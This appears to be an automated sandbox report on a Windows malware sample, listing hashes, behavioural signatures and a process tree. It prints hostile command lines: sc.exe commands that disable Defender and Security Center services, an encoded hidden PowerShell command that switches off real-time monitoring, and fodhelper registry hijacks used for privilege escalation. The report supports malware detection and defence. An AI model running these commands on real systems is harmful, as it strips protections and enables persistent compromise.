Analysis
- max time kernel
150s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260617-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
28/06/2026, 12:35
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
035mfr7.buzz_hyber.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
36 signatures
150 seconds
Behavioral task
behavioral2
Sample
035mfr7.buzz_hyber.exe
Resource
win11ltsc2024-20260617-en
windows11-ltsc_2024-x64
37 signatures
150 seconds
General
- Target 035mfr7.buzz_hyber.exe
- Size 49KB
- Sample260628-pskajahs5t
- SHA256 cadc2473dfaf3ab4bcc9369c3a81632e35abbbed2958e215937d4ed820ea8c88
- MD5 763461bef82c942174027aae6bfbdc2b
- SHA1 4d4c9ee7c67024773960f3836fb30e979e1da4d6
- SHA512 a40e05027310df3a459c6207b3f820d35badc4613c63177467831f8fd4d44994476a71ec1d9b11e1f4fe406821babef072e050e0ef49096937007c7739ed7b1c
- SSDEEP 768:7rVZZ6zs0hdJoNaFkz0C3fq8M/NaPzfX/fIz848:LZ6HhdKN+Jey8MmP/fIz848
- TLSH T19F33F74537ED4521E1BF9ABE89B251118731F493DC23DB8E1AD9459E09F3700CCA8B6B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/2888-1-0x00000000004F0000-0x0000000000502000-memory.dmp disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" 035mfr7.buzz_hyber.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1932 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-28459746-3881314244-166055492-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" 035mfr7.buzz_hyber.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts 035mfr7.buzz_hyber.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 1776 netsh.exe - Disables service(s) 3 TTPs
- Drops startup file 64 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf 035mfr7.buzz_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_191.pdf 035mfr7.buzz_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf 035mfr7.buzz_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf 035mfr7.buzz_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf 035mfr7.buzz_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_86.pdf 035mfr7.buzz_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_106.pdf 035mfr7.buzz_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_120.pdf 035mfr7.buzz_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_128.pdf 035mfr7.buzz_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf 035mfr7.buzz_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_15.pdf 035mfr7.buzz_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf 035mfr7.buzz_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf 035mfr7.buzz_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf 035mfr7.buzz_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf 035mfr7.buzz_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf 035mfr7.buzz_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf 035mfr7.buzz_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_193.pdf 035mfr7.buzz_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_56.pdf 035mfr7.buzz_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf 035mfr7.buzz_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_153.pdf 035mfr7.buzz_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf 035mfr7.buzz_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf 035mfr7.buzz_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf 035mfr7.buzz_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf 035mfr7.buzz_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf 035mfr7.buzz_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf 035mfr7.buzz_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_101.pdf 035mfr7.buzz_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf 035mfr7.buzz_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_127.pdf 035mfr7.buzz_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_136.pdf 035mfr7.buzz_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf 035mfr7.buzz_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf 035mfr7.buzz_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_182.pdf 035mfr7.buzz_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf 035mfr7.buzz_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf 035mfr7.buzz_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf 035mfr7.buzz_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf 035mfr7.buzz_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf 035mfr7.buzz_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf 035mfr7.buzz_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf 035mfr7.buzz_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_146.pdf 035mfr7.buzz_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf 035mfr7.buzz_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf 035mfr7.buzz_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_56.pdf 035mfr7.buzz_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf 035mfr7.buzz_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_151.pdf 035mfr7.buzz_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf 035mfr7.buzz_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_187.pdf 035mfr7.buzz_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf 035mfr7.buzz_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf 035mfr7.buzz_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf 035mfr7.buzz_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf 035mfr7.buzz_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_101.pdf 035mfr7.buzz_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_121.pdf 035mfr7.buzz_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_53.pdf 035mfr7.buzz_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf 035mfr7.buzz_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_74.pdf 035mfr7.buzz_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf 035mfr7.buzz_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf 035mfr7.buzz_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_175.pdf 035mfr7.buzz_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_179.pdf 035mfr7.buzz_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf 035mfr7.buzz_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat 035mfr7.buzz_hyber.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-28459746-3881314244-166055492-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\035mfr7.buzz_hyber.exe" 035mfr7.buzz_hyber.exe - Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\system32\LogFiles\WMI\FaceUnlockManually.etl LogonUI.exe File created C:\Windows\system32\svchost.exe 035mfr7.buzz_hyber.exe File created C:\Windows\system32\sysupdate.exe 035mfr7.buzz_hyber.exe File opened for modification C:\Windows\system32\sysupdate.exe 035mfr7.buzz_hyber.exe - Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 4684 tasklist.exe - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-28459746-3881314244-166055492-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" 035mfr7.buzz_hyber.exe - Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\rescache\_merged\1190018277\2790036916.pri LogonUI.exe - Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2936 sc.exe 1132 sc.exe 2396 sc.exe 3624 sc.exe 3936 sc.exe 1212 sc.exe 4144 sc.exe 2580 sc.exe 4936 sc.exe 1108 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 LogonUI.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz LogonUI.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 4692 ipconfig.exe 1732 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 4932 systeminfo.exe - Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2784 vssadmin.exe 1152 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-28459746-3881314244-166055492-1000\Control Panel\Desktop\WallpaperStyle = "2" 035mfr7.buzz_hyber.exe - Modifies data under HKEY_USERS 4 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00 LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe - Modifies registry class 16 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-28459746-3881314244-166055492-1000_Classes\ms-settings\shell\open\command 035mfr7.buzz_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell 035mfr7.buzz_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\035mfr7.buzz_hyber.exe\" \"%1\"" 035mfr7.buzz_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-28459746-3881314244-166055492-1000_Classes\ms-settings\shell\open 035mfr7.buzz_hyber.exe Key created \REGISTRY\USER\S-1-5-21-28459746-3881314244-166055492-1000_Classes\ms-settings 035mfr7.buzz_hyber.exe Key created \REGISTRY\USER\S-1-5-21-28459746-3881314244-166055492-1000_Classes\ms-settings\shell 035mfr7.buzz_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-28459746-3881314244-166055492-1000_Classes\ms-settings\shell\open\command\DelegateExecute 035mfr7.buzz_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet" 035mfr7.buzz_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command 035mfr7.buzz_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet 035mfr7.buzz_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open 035mfr7.buzz_hyber.exe Key created \REGISTRY\USER\S-1-5-21-28459746-3881314244-166055492-1000_Classes\ms-settings\shell\open 035mfr7.buzz_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-28459746-3881314244-166055492-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\035mfr7.buzz_hyber.exe" 035mfr7.buzz_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-28459746-3881314244-166055492-1000_Classes\ms-settings\shell\open\command 035mfr7.buzz_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-28459746-3881314244-166055492-1000_Classes\ms-settings\shell 035mfr7.buzz_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-28459746-3881314244-166055492-1000_Classes\ms-settings 035mfr7.buzz_hyber.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3952 schtasks.exe 3944 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1932 powershell.exe 1932 powershell.exe 1932 powershell.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 5740 WMIC.exe 5740 WMIC.exe 5740 WMIC.exe 5740 WMIC.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2540 WMIC.exe 2540 WMIC.exe 2540 WMIC.exe 2540 WMIC.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe 2888 035mfr7.buzz_hyber.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 4952 LogonUI.exe Token: SeCreatePagefilePrivilege 4952 LogonUI.exe Token: SeDebugPrivilege 2888 035mfr7.buzz_hyber.exe Token: SeDebugPrivilege 1932 powershell.exe Token: SeIncreaseQuotaPrivilege 1932 powershell.exe Token: SeSecurityPrivilege 1932 powershell.exe Token: SeTakeOwnershipPrivilege 1932 powershell.exe Token: SeLoadDriverPrivilege 1932 powershell.exe Token: SeSystemProfilePrivilege 1932 powershell.exe Token: SeSystemtimePrivilege 1932 powershell.exe Token: SeProfSingleProcessPrivilege 1932 powershell.exe Token: SeIncBasePriorityPrivilege 1932 powershell.exe Token: SeCreatePagefilePrivilege 1932 powershell.exe Token: SeBackupPrivilege 1932 powershell.exe Token: SeRestorePrivilege 1932 powershell.exe Token: SeShutdownPrivilege 1932 powershell.exe Token: SeDebugPrivilege 1932 powershell.exe Token: SeSystemEnvironmentPrivilege 1932 powershell.exe Token: SeRemoteShutdownPrivilege 1932 powershell.exe Token: SeUndockPrivilege 1932 powershell.exe Token: SeManageVolumePrivilege 1932 powershell.exe Token: 33 1932 powershell.exe Token: 34 1932 powershell.exe Token: 35 1932 powershell.exe Token: 36 1932 powershell.exe Token: SeIncBasePriorityPrivilege 2888 035mfr7.buzz_hyber.exe Token: SeIncreaseQuotaPrivilege 5740 WMIC.exe Token: SeSecurityPrivilege 5740 WMIC.exe Token: SeTakeOwnershipPrivilege 5740 WMIC.exe Token: SeLoadDriverPrivilege 5740 WMIC.exe Token: SeSystemProfilePrivilege 5740 WMIC.exe Token: SeSystemtimePrivilege 5740 WMIC.exe Token: SeProfSingleProcessPrivilege 5740 WMIC.exe Token: SeIncBasePriorityPrivilege 5740 WMIC.exe Token: SeCreatePagefilePrivilege 5740 WMIC.exe Token: SeBackupPrivilege 5740 WMIC.exe Token: SeRestorePrivilege 5740 WMIC.exe Token: SeShutdownPrivilege 5740 WMIC.exe Token: SeDebugPrivilege 5740 WMIC.exe Token: SeSystemEnvironmentPrivilege 5740 WMIC.exe Token: SeRemoteShutdownPrivilege 5740 WMIC.exe Token: SeUndockPrivilege 5740 WMIC.exe Token: SeManageVolumePrivilege 5740 WMIC.exe Token: 33 5740 WMIC.exe Token: 34 5740 WMIC.exe Token: 35 5740 WMIC.exe Token: 36 5740 WMIC.exe Token: SeDebugPrivilege 4684 tasklist.exe Token: SeIncreaseQuotaPrivilege 5740 WMIC.exe Token: SeSecurityPrivilege 5740 WMIC.exe Token: SeTakeOwnershipPrivilege 5740 WMIC.exe Token: SeLoadDriverPrivilege 5740 WMIC.exe Token: SeSystemProfilePrivilege 5740 WMIC.exe Token: SeSystemtimePrivilege 5740 WMIC.exe Token: SeProfSingleProcessPrivilege 5740 WMIC.exe Token: SeIncBasePriorityPrivilege 5740 WMIC.exe Token: SeCreatePagefilePrivilege 5740 WMIC.exe Token: SeBackupPrivilege 5740 WMIC.exe Token: SeRestorePrivilege 5740 WMIC.exe Token: SeShutdownPrivilege 5740 WMIC.exe Token: SeDebugPrivilege 5740 WMIC.exe Token: SeSystemEnvironmentPrivilege 5740 WMIC.exe Token: SeRemoteShutdownPrivilege 5740 WMIC.exe Token: SeUndockPrivilege 5740 WMIC.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 2888 035mfr7.buzz_hyber.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 4952 LogonUI.exe 4952 LogonUI.exe 2888 035mfr7.buzz_hyber.exe - Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 2888 wrote to memory of 1932 2888 035mfr7.buzz_hyber.exe 91 PID 2888 wrote to memory of 2936 2888 035mfr7.buzz_hyber.exe 93 PID 2888 wrote to memory of 1132 2888 035mfr7.buzz_hyber.exe 95 PID 2888 wrote to memory of 2396 2888 035mfr7.buzz_hyber.exe 97 PID 2888 wrote to memory of 3624 2888 035mfr7.buzz_hyber.exe 99 PID 2888 wrote to memory of 3936 2888 035mfr7.buzz_hyber.exe 124 PID 2888 wrote to memory of 1212 2888 035mfr7.buzz_hyber.exe 157 PID 2888 wrote to memory of 4144 2888 035mfr7.buzz_hyber.exe 105 PID 2888 wrote to memory of 4936 2888 035mfr7.buzz_hyber.exe 107 PID 2888 wrote to memory of 1120 2888 035mfr7.buzz_hyber.exe 108 PID 1120 wrote to memory of 1152 1120 fodhelper.exe 158 PID 2888 wrote to memory of 1532 2888 035mfr7.buzz_hyber.exe 112 PID 2888 wrote to memory of 3952 2888 035mfr7.buzz_hyber.exe 113 PID 2888 wrote to memory of 2484 2888 035mfr7.buzz_hyber.exe 120 PID 2888 wrote to memory of 768 2888 035mfr7.buzz_hyber.exe 121 PID 2888 wrote to memory of 5820 2888 035mfr7.buzz_hyber.exe 123 PID 2888 wrote to memory of 3936 2888 035mfr7.buzz_hyber.exe 124 PID 2888 wrote to memory of 240 2888 035mfr7.buzz_hyber.exe 125 PID 2888 wrote to memory of 4172 2888 035mfr7.buzz_hyber.exe 126 PID 2888 wrote to memory of 292 2888 035mfr7.buzz_hyber.exe 127 PID 2888 wrote to memory of 1184 2888 035mfr7.buzz_hyber.exe 128 PID 2888 wrote to memory of 3944 2888 035mfr7.buzz_hyber.exe 135 PID 2888 wrote to memory of 2328 2888 035mfr7.buzz_hyber.exe 136 PID 2888 wrote to memory of 2784 2888 035mfr7.buzz_hyber.exe 138 PID 2888 wrote to memory of 5740 2888 035mfr7.buzz_hyber.exe 139 PID 2888 wrote to memory of 4548 2888 035mfr7.buzz_hyber.exe 140 PID 2888 wrote to memory of 1776 2888 035mfr7.buzz_hyber.exe 141 PID 2888 wrote to memory of 2580 2888 035mfr7.buzz_hyber.exe 142 PID 2888 wrote to memory of 1108 2888 035mfr7.buzz_hyber.exe 143 PID 5820 wrote to memory of 4932 5820 cmd.exe 150 PID 4172 wrote to memory of 5168 4172 cmd.exe 151 PID 3936 wrote to memory of 4684 3936 cmd.exe 152 PID 1184 wrote to memory of 1732 1184 cmd.exe 153 PID 240 wrote to memory of 3680 240 cmd.exe 155 PID 5168 wrote to memory of 3580 5168 net.exe 156 PID 292 wrote to memory of 4692 292 cmd.exe 154 PID 4548 wrote to memory of 1212 4548 net.exe 157 PID 2484 wrote to memory of 1152 2484 cmd.exe 158 PID 2484 wrote to memory of 2540 2484 cmd.exe 161 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\035mfr7.buzz_hyber.exe"C:\Users\Admin\AppData\Local\Temp\035mfr7.buzz_hyber.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Drops startup file
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2888 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1932
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:2936
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:1132
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:2396
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:3624
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:3936
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:1212
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:4144
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:4936
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C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:1120 -
C:\Users\Admin\AppData\Local\Temp\035mfr7.buzz_hyber.exe"C:\Users\Admin\AppData\Local\Temp\035mfr7.buzz_hyber.exe"3⤵PID:1152
